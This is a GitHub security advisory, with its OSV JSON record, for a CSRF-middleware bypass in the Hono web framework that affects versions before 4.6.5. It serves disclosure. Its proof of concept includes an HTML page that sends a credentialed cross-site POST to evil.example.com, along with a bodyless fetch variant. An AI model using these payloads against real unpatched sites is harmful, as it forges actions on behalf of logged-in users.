GHSA-2234-FMW7-43WR
Vulnerability from github – Published: 2024-10-15 17:43 – Updated: 2024-11-07 18:33
VLAI?
Summary
Hono allows bypass of CSRF Middleware by a request without Content-Type header.
Details
Summary
Bypass CSRF Middleware by a request without Content-Type herader.
Details
Although the csrf middleware verifies the Content-Type Header, Hono always considers a request without a Content-Type header to be safe.
https://github.com/honojs/hono/blob/cebf4e87f3984a6a034e60a43f542b4c5225b668/src/middleware/csrf/index.ts#L76-L89
PoC
// server.js
import { Hono } from 'hono'
import { csrf }from 'hono/csrf'
const app = new Hono()
app.use(csrf())
app.get('/', (c) => {
return c.html('Hello Hono!')
})
app.post('/', async (c) => {
console.log("executed")
return c.text( await c.req.text())
})
Deno.serve(app.fetch)
<!-- PoC.html -->
<script>
async function myclick() {
await fetch("http://evil.example.com", {
method: "POST",
credentials: "include",
body:new Blob([`test`],{}),
});
}
</script>
<input type="button" onclick="myclick()" value="run" />
Similarly, the fetch API does not add a Content-Type header for requests that do not include a Body.
await fetch("http://localhost:8000", { method: "POST", credentials: "include"});
Impact
Bypass csrf protection implemented with hono csrf middleware.
Severity ?
5.9 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "hono"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.6.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-48913"
],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": true,
"github_reviewed_at": "2024-10-15T17:43:50Z",
"nvd_published_at": "2024-10-15T16:15:05Z",
"severity": "MODERATE"
},
"details": "### Summary\nBypass CSRF Middleware by a request without Content-Type herader.\n\n### Details\nAlthough the csrf middleware verifies the Content-Type Header, Hono always considers a request without a Content-Type header to be safe.\n\nhttps://github.com/honojs/hono/blob/cebf4e87f3984a6a034e60a43f542b4c5225b668/src/middleware/csrf/index.ts#L76-L89\n\n### PoC\n```server.js\n// server.js\nimport { Hono } from \u0027hono\u0027\nimport { csrf }from \u0027hono/csrf\u0027\nconst app = new Hono()\napp.use(csrf())\napp.get(\u0027/\u0027, (c) =\u003e {\n return c.html(\u0027Hello Hono!\u0027)\n})\napp.post(\u0027/\u0027, async (c) =\u003e {\n console.log(\"executed\")\n return c.text( await c.req.text())\n})\nDeno.serve(app.fetch)\n```\n\n```poc.html\n\u003c!-- PoC.html --\u003e\n\u003cscript\u003e\nasync function myclick() {\n await fetch(\"http://evil.example.com\", {\n method: \"POST\",\n credentials: \"include\",\n body:new Blob([`test`],{}),\n });\n}\n\u003c/script\u003e\n\u003cinput type=\"button\" onclick=\"myclick()\" value=\"run\" /\u003e\n```\n\nSimilarly, the fetch API does not add a Content-Type header for requests that do not include a Body.\n```PoC2.js\nawait fetch(\"http://localhost:8000\", { method: \"POST\", credentials: \"include\"});\n```\n\n### Impact\nBypass csrf protection implemented with hono csrf middleware.\n",
"id": "GHSA-2234-fmw7-43wr",
"modified": "2024-11-07T18:33:19Z",
"published": "2024-10-15T17:43:50Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/honojs/hono/security/advisories/GHSA-2234-fmw7-43wr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-48913"
},
{
"type": "WEB",
"url": "https://github.com/honojs/hono/commit/aa50e0ab77b5af8c53c50fe3b271892f8eeeea82"
},
{
"type": "PACKAGE",
"url": "https://github.com/honojs/hono"
},
{
"type": "WEB",
"url": "https://github.com/honojs/hono/blob/cebf4e87f3984a6a034e60a43f542b4c5225b668/src/middleware/csrf/index.ts#L76-L89"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Hono allows bypass of CSRF Middleware by a request without Content-Type header."
}
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Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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